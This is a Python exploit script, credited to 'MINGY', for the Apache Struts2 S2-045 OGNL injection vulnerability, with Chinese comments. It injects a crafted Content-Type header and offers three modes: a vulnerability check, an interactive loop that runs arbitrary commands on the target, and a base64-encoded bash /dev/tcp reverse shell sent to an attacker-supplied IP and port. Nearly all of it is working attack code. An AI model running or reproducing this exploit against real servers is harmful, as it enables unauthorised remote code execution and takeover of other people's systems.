import argparse
import requests
import base64


def poc(url):
    payload = "%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='CMD').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}".replace("CMD", "echo mingy")
    
    headers = {
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.82 Safari/537.36",
        "Content-Type": payload
    }
    
    response = requests.post(url, headers=headers, stream=True)
    
    try:
        for chunk in response.iter_content(chunk_size=4096, decode_unicode=True):
            if 'mingy' in chunk:
                print(f">>> 存在s2-045漏洞: {url}")
    except requests.exceptions.ChunkedEncodingError as e:
        pass
        # print(f"分块编码错误: {str(e)}")
    except Exception as e:
        pass
        # print(f"读取响应时发生错误: {str(e)}")


def exp(url):
    while True:
        cmd = input("cmd>>> ")
        if cmd == "quit" or cmd == "exit":
            break
        payload = "%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='CMD').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}".replace("CMD", cmd)
        headers = {
            "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.82 Safari/537.36",
            "Content-Type": payload
        }
        response = requests.post(url, headers=headers, stream=True)
        
        try:
            for chunk in response.iter_content(chunk_size=4096, decode_unicode=True):
                if chunk:
                    print(chunk, end="")
        except requests.exceptions.ChunkedEncodingError as e:
            pass
            # print(f"分块编码错误: {str(e)}")
        except Exception as e:
            pass
            # print(f"读取响应时发生错误: {str(e)}")


def reverse_shell(url, ip, port):
    bash_reverse_shell = f"bash -i >& /dev/tcp/{ip}/{port} 0>&1"
    encoded_shell = base64.b64encode(bash_reverse_shell.encode('utf-8')).decode('utf-8')
    
    payload = f"%{{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='echo {encoded_shell}|base64 -d|bash -i').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{{'cmd.exe','/c',#cmd}}:{{'/bin/bash','-c',#cmd}})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}}"
    
    headers = {
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.82 Safari/537.36",
        "Content-Type": payload
    }
    
    try:
        print(f"[+] 反弹shell已发送至 {ip}:{port}")
        requests.post(url, headers=headers)
    except Exception as e:
        pass


def main():
    p = argparse.ArgumentParser(description='S2-045 EXP/POC -- By MINGY')
    p.add_argument('-u', dest='url', type=str, help="URL to test")
    p.add_argument('-m', dest='model',choices=['poc', 'exp', 'shell'], type=str, help="指定模式")
    p.add_argument('-i', dest='ip', type=str, help="指定反弹shell的IP地址 (shell模式必须设置)")
    p.add_argument('-p', dest='port', type=str, help="指定反弹shell的端口号 (shell模式必须设置)")
    args = p.parse_args()
    
    if not args.url:
        print("please set url, -u url")
        return
    if not args.model:
        print("please set model, -m poc/exp/shell")
        return
        
    if args.model == 'poc':
        poc(args.url)
    elif args.model == 'exp':
        exp(args.url)
    elif args.model == 'shell':
        if not args.ip or not args.port:
            print("请为反向shell设置IP和端口, -i IP -p PORT")
            return
        reverse_shell(args.url, args.ip, args.port)


if __name__ == '__main__':
    main()
